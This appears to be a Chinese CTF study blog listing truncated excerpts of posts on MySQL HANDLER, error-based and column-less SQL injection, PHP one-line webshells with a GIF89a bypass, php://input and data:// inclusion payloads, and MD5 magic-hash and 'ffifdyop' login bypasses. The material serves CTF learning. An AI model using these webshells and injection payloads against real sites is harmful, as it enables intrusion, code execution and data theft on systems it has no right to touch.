handler使用
1234567891011121314# 打开一个表名为 tbl_name 的表的句柄HANDLER tbl_name OPEN [ [AS] alias]# 2、通过索引查看表# FIRST: 获取第一行(索引最小的一行)# NEXT: 获取下一行# PREV: 获取上一行# LAST: 获取最后一行(索引最大的一行)HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]# 关闭以打开的句柄HANDLER tbl_name CLOSE
完整使用实例:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748MariaDB [mysql]> handler www open;Query OK, 0 rows affected (0.000 sec)MariaDB [mysql]> h ...
SQL报错注入UPDATEXML使用
例题:BUUCTF的hardsql
注入之前,首先得明白updatexml函数的利用方式以及函数语法。
1234updatexml(xml_doument,XPath_string,new_value)第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
123456updatexml(xml_doument,XPath_string,new_value)第一个参数:XML的内容第二个参数:是需要update的位置XPATH路径第三个参数:是更新后的内容所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式函数利用和语法明白了,下面注入的payload就清楚明白
SQL报错注入extractvalue使用
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpat ...
SQL无列名注入join,union使用
123select 1,2,3 union select * from sc;select `1` from (select 1,2,3 union select * from sc)a;select `2` from (select 1,2,3 union select * from sc)a;
一句话木马
GIF89a绕过12345<script language='php'>eval($_POST['cmd']);</script><?php eval($_POST[cmd];?><!--?php eval($_POST[cmd];?>
SQL注入原理篇
[[sqlmap 使用]]
mysql数据结构在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
information_schema是MySQL数据库系统中的一个特殊数据库,用于存储关于数据库、表、列、索引、权限等元数据信息。下面是information_schema中一些常见的表以及它们的列:
TABLES 表:
TABLE_CATALOG: 表所属的目录名称。
TABLE_SCHEMA ...
PHP伪协议
在ctf中常用的有data:// , php://input , php://filter ,file://
1234567891011121314151617php://input ,data://用来执行命令 1.php://input 的用法http://127.0.0.1/include.php?file=php://input[POST DATA部分]<?php phpinfo(); ?> 2.data://用法http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> php://filter,file://用来读取文件 3.php://filter用法http://127.0.0.1/include.php?file=php://filter/read=convert.base64-(encode/resource=phpinfo.php读取php文件需要先加密以下才能读出来,并且拿到 ...
MD5绕过题型
password=ffifdyop
在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 == 和 === 比较的结果均为 True
1.“0E”绕过常见规则,
123$_GET['name'] != $_GET['password']`MD5($_GET['name']) == MD5($_GET['password'])`
满足上述规则时,可以使用以0E开头的hash值绕过,因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同
下面是一些哈希后0E开头的字符
1234567s878926199as155964671as214587387as214587387a
2.数组绕过$_POST['param1']!==$_POST['param2'] && md5($_ ...
ffifdyop为万能sql注入密码
1"select * from 'admin' where password=' ".md5($pass,true)." ' "
输入:ffifdyop
原因:数据库会把16进制转为ascii解释
如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d
而我们的md5(ffifdyop) 会返回16进制字符串
这时原来的语句就是:
1"select * from 'admin' where password='' or'6蒥欓!r,b' "
or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。
以0开头会认为是false.
无题
title:各种注释date:2024-03-19tags:’CTF’在HTML、XML、CSS和许多编程语言中,注释的表示符号通常用于向代码中添加注释,以便开发人员可以添加说明、解释或者临时禁用某些部分的代码。以下是一些常见编程语言中注释的表示符号:
HTML和XML:
单行注释:<!-- 注释内容 -->
CSS:
单行注释:/* 注释内容 */
JavaScript:
单行注释:// 注释内容
多行注释:/* 注释内容 */
Python:
单行注释:# 注释内容
多行注释:''' 多行注释内容 ''' 或 """ 多行注释内容 """
Java/C/C++:
单行注释:// 注释内容
多行注释:/* 注释内容 */
PHP:
单行注释:// 注释内容 或 # 注释内容
多行注释:/* 注释内容 */
SQL:
单行注释:-- 注释内容
多行注释:/* 注释内容 */
这些注释表示符号可以根据不同的编程语言和 ...